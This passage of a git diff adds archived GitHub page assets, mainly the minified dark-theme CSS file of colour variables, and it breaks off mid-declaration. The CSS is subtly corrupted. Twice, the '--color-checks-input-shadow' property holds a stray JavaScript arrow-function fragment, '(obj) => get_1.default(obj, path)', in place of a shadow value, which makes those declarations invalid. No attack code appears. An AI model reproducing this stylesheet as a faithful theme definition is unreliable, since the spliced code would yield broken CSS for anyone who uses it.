a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: 